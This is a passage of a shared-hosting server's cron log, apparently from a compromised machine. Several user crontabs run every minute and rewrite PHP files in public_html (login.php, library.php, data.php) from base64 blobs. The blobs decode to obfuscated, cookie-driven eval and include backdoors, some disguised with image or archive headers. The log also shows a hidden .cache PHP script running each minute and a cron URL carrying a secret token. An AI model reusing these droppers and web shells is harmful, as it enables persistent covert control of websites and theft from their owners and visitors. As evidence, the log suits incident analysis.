"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:31:02 medusa CROND[8388]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:32:01 medusa CROND[31583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:32:02 medusa CROND[31675]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:32:02 medusa CROND[31676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:32:02 medusa CROND[31678]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 17:32:02 medusa CROND[31682]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:32:02 medusa CROND[31684]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:32:02 medusa CROND[31685]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:32:02 medusa CROND[31691]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:32:02 medusa CROND[31695]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:32:02 medusa CROND[31696]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:32:02 medusa CROND[31697]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:32:02 medusa CROND[31698]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:32:02 medusa CROND[31700]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:33:01 medusa CROND[22959]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:33:02 medusa CROND[23092]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:33:02 medusa CROND[23093]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 17:33:02 medusa CROND[23095]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:33:02 medusa CROND[23096]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:33:02 medusa CROND[23098]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:33:02 medusa CROND[23104]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:33:02 medusa CROND[23103]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:33:02 medusa CROND[23099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:33:02 medusa CROND[23106]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:33:02 medusa CROND[23108]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:33:02 medusa CROND[23116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:34:02 medusa CROND[14726]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 17:34:02 medusa CROND[14765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:34:02 medusa CROND[14780]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:34:02 medusa CROND[14891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:34:02 medusa CROND[14892]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 